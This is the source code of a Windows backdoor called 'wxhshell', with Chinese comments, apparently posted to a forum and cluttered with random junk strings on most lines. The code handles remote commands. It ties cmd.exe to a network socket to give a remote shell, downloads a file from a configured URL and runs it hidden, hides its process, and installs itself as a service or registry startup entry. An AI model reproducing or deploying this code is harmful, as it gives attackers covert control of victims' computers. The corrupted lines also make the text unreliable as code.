  // 安装 V|0UwS\n  
  case 'i': { VKrKA71Z~  
    if(Install()) Z3T26Uk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7xT<|3 I  
    else 9>@"W-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uoBPi[nK  
    break; ,%m$_wA$  
    } gD fVY%[Z  
  // 卸载 :\1&5Pm]  
  case 'r': { 9Bmgz =8  
    if(Uninstall()) JeCEj=_Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L/cbq*L  
    else %^ E>~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `[1]wV5(5@  
    break; [ 06B)|s  
    }  })w5`?Y  
  // 显示 wxhshell 所在路径 a-DE-V Uls  
  case 'p': { :Ws3+OI'm3  
    char svExeFile[MAX_PATH]; *KV] MdS  
    strcpy(svExeFile,"\n\r"); qdu:kA:]  
      strcat(svExeFile,ExeFile); 1-gX=8]]  
        send(wsh,svExeFile,strlen(svExeFile),0); WI'csM;M#  
    break; ma* 9O |v^  
    } 4';['  
  // 重启 kQBVx8Uq]  
  case 'b': { <~8W>Y\m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tv|=`~Y  
    if(Boot(REBOOT)) oq<#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bp6Evi  
    else { -XY]WWlq  
    closesocket(wsh); ||,;07  
    ExitThread(0); &c@I4RV|q  
    } ZNA?`Z)f  
    break; o_$r*Z|HG  
    } RMrt4:-DI  
  // 关机 gA) F  
  case 'd': { ,|c_l)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \S2'3SD d/  
    if(Boot(SHUTDOWN)) Wj*6}N/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )d1,}o  
    else { T@ HozZ  
    closesocket(wsh); #QDV_ziE5  
    ExitThread(0); Pr/&p0@aV  
    } CC87<>V  
    break; nocH~bAf2  
    } !kKKJ~,;  
  // 获取shell ) DLK<10  
  case 's': { y! 1NS  
    CmdShell(wsh); P?uKDON  
    closesocket(wsh); (c*Dvpo1  
    ExitThread(0); YvHn~gNPhs  
    break; +yea}uUE  
  } ;~q)^.K3  
  // 退出 ?x/ L"h&Kp  
  case 'x': { ]ogy`O>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); BR%:`uiQ<  
    CloseIt(wsh); (c_hX(  
    break; ^ pR&  
    } a:]yFi:Su  
  // 离开 1-[{4{R  
  case 'q': { (jyJ-qe  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); MR6vr.~  
    closesocket(wsh);  JuI,wA  
    WSACleanup(); 4'8.f5  
    exit(1); / q!&I  
    break; @<sP1`1  
        } Z,&ywMm/G  
  } |3cR'|<Ual  
  } <z4!m/f [(  
*ZEs5`x  
  // 提示信息 !%(B2J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Yb\36|  
} : R&tO3_F  
  } TPzoU" qh  
/kq~*s  
  return; }R'oAE}$  
} yI;Qb7|^  
0nd<6S+fs  
// shell模块句柄 MLb\:Ihy  
int CmdShell(SOCKET sock) G j:|  
{ u@3w$"Pv1  
STARTUPINFO si; [)=FZF6kG  
ZeroMemory(&si,sizeof(si)); x"d*[m  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j)5Vv K\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i xyjl[G  
PROCESS_INFORMATION ProcessInfo; Q&LkST-i  
char cmdline[]="cmd"; Ek BM>*W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mnia>; 0H  
  return 0; J{ Vl2P?@  
} Z~gqTB]H  
Mf63 59  
// 自身启动模式 tpctz~ .  
int StartFromService(void) *dl@)~i  
{ WQ]pg "  
typedef struct ] ge-b\  
{ `F@yZ4L3S  
  DWORD ExitStatus; \3/9lE|gh  
  DWORD PebBaseAddress; Pg36'aTe%j  
  DWORD AffinityMask; lo#,zd~  
  DWORD BasePriority; I R&u55#I6  
  ULONG UniqueProcessId; S'e2~-p0F  
  ULONG InheritedFromUniqueProcessId;  Ui.F<,E  
}   PROCESS_BASIC_INFORMATION; ^eRuj)$5A  
_V?Q4}7d/  
PROCNTQSIP NtQueryInformationProcess; "8I4]'  
l]Sui_+ZU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8K/lpqw  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D. e*IP1R  
ZjK~s)RC  
  HANDLE             hProcess; 90!Ib~7zH  
  PROCESS_BASIC_INFORMATION pbi; Z-?9F`}  
3PGyqt(   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;F Bc^*q  
  if(NULL == hInst ) return 0; H#y"3E<s  
Mg$Z^v|}0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1d"P) 3dQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qGqu/$bh  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '9gI=/29D  
9lxT5Wg  
  if (!NtQueryInformationProcess) return 0; .%A2  
#rwR)9iC0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); SJ-Sac58r  
  if(!hProcess) return 0; ]lY9[~ v  
`<n:D`{dZ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `dZ|}4[1  
%r"GL  
  CloseHandle(hProcess); 9vu8koL  
u| c+w)a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -Me\nu8(RF  
if(hProcess==NULL) return 0; A.b#r[  
^xwFjQXx  
HMODULE hMod; oX~CTunP  
char procName[255]; wW4S@m  
unsigned long cbNeeded; i]z i[Zo$  
h(-&.Sm")H  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q/9b'^UJ  
i.]zq  
  CloseHandle(hProcess); 'Ot[q^,KRG  
l?o- p  
if(strstr(procName,"services")) return 1; // 以服务启动 4o3GS8  
Izu.I_$4  
  return 0; // 注册表启动 %K7}yy&9C  
} cw.7YiU  
xJhbGK  
// 主模块 d#Ajb  
int StartWxhshell(LPSTR lpCmdLine) ]N_^{k,  
{ 8.':pY'8"  
  SOCKET wsl; C.-a:oQ[  
BOOL val=TRUE; M jTKM;  
  int port=0; Hi9z<l=$  
  struct sockaddr_in door; 9_3M}|V$^e  
&?6w 2[}  
  if(wscfg.ws_autoins) Install(); rE:>G]j6  
{ )qP34rM  
port=atoi(lpCmdLine); ~tvoR&{I  
GB3B4)cX4Y  
if(port<=0) port=wscfg.ws_port; K7c8_g*>4=  
F948%?a  
  WSADATA data; * U4:K@y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1\0@?6`^  
!%r`'|9y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Rjl__90  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :F=nb+HZ  
  door.sin_family = AF_INET; H)Ge#=;ckQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); P;&p[[7  
  door.sin_port = htons(port); sIsu >eL  
p%1m&/ `F  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [!mjUsut*  
closesocket(wsl); 1 7oxD  
return 1; ($> 0&w  
} ;7k7/f:  
>>zoG3H!  
  if(listen(wsl,2) == INVALID_SOCKET) { RzQS@^u*F0  
closesocket(wsl); QOk"UP  
return 1; >iN%Uz  
} )6^xIh  
  Wxhshell(wsl); rU@?v+i  
  WSACleanup(); 3H2;mqq  
"lf3hWGw  
return 0; _ZBR<{  
.~ lt+M9  
} qI*1+R}  
[uQZD1<q  
// 以NT服务方式启动 C/Bx_j((  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ot#kU 8f  
{ 79g>7<vp  
DWORD   status = 0; 0f/!|c  
  DWORD   specificError = 0xfffffff; , % jTXb  
oH0F9*+W  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3G|fo4g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Y26l,XIV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +lJ]-U|P  
  serviceStatus.dwWin32ExitCode     = 0; 8T )ELhTj  
  serviceStatus.dwServiceSpecificExitCode = 0; JSK5x(GlH  
  serviceStatus.dwCheckPoint       = 0; -U[`pUY?f  
  serviceStatus.dwWaitHint       = 0; y|{?>3  
g8A{aHb1}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); q.Z#7~6`3  
  if (hServiceStatusHandle==0) return; v=1S  
i!x5T%x_  
status = GetLastError(); .oN Sg.jG  
  if (status!=NO_ERROR) bCUh^#]x  
{ os^SD&hL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; M|e n>P  
    serviceStatus.dwCheckPoint       = 0; (Gc`3jJ  
    serviceStatus.dwWaitHint       = 0; l zPS RT  
    serviceStatus.dwWin32ExitCode     = status; luk2fi<$  
    serviceStatus.dwServiceSpecificExitCode = specificError; [Vp2!"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s FYJQ90it  
    return; -Bv1}xf=6  
  } dt&Lwf/  
l(\8c><m  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]f-'A>MC  
  serviceStatus.dwCheckPoint       = 0; 00a<(sS;  
  serviceStatus.dwWaitHint       = 0; 1";e'? ^x  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); SliQwm5  
} )Q/`o,Vm  
iiB )/~!O  
// 处理NT服务事件,比如:启动、停止 (A fbS=[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) L00 ;rTs>  
{ J*KBG2+13  
switch(fdwControl) Tc5OI'-V  
{ 3l(;Pt-yI  
case SERVICE_CONTROL_STOP: ,h.Jfo54,  
  serviceStatus.dwWin32ExitCode = 0; yi-"hT`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A<X :K nl  
  serviceStatus.dwCheckPoint   = 0; j{Jc6U  
  serviceStatus.dwWaitHint     = 0; ZfCr"aL  
  { gdFoTcHgO|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NG!cEo:2aa  
  } 3nC#$L-   
  return; #r^@*<{^  
case SERVICE_CONTROL_PAUSE: pjs9b%.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c0Ro3j\p  
  break; Mth`s{sATa  
case SERVICE_CONTROL_CONTINUE: =)1YYJTe9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )/ T$H|  
  break; S Y>,kwHO  
case SERVICE_CONTROL_INTERROGATE: ~K$"PK s3  
  break; $0 S#d@v}  
}; 4\SBf\ c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ) wo2GF  
}  [Ro0eH  
)bXx9,VL  
// 标准应用程序主函数 akc"}+-oX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  )P9{47  
{ E(3+o\w  
;E?  hz  
// 获取操作系统版本 Vt)\[Tl~  
OsIsNt=GetOsVer(); Q1I_=fT  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *5_ 8\7d  
y_4krY|Zx  
  // 从命令行安装 ~muIi#4  
  if(strpbrk(lpCmdLine,"iI")) Install(); g6/N\[b%  
vWi. []  
  // 下载执行文件 Z0 IxYEp  
if(wscfg.ws_downexe) { vV\F^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -,fa{yt-  
  WinExec(wscfg.ws_filenam,SW_HIDE); a.&#dxgW[  
} . (*kgv@3x  
H^PqYLj N  
if(!OsIsNt) { _ kSPUP5  
// 如果时win9x,隐藏进程并且设置为注册表启动 +V+*7s%fL  
HideProc(); :n>ccZeMv  
StartWxhshell(lpCmdLine); CNRU"I+jU  
} 0B$7S,2  
else OQL09u  
  if(StartFromService()) b~Pxgfu"  
  // 以服务方式启动 Y^ZBA\D2,k  
  StartServiceCtrlDispatcher(DispatchTable); ['4\O43yv  
else *v nxP9<  
  // 普通方式启动 Rp`_Grcd  
  StartWxhshell(lpCmdLine); +`s&i%{1>  
h6T/0YhWLP  
return 0; [' OCw {<  
}
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只看该作者 1 发表于: 2006-10-10
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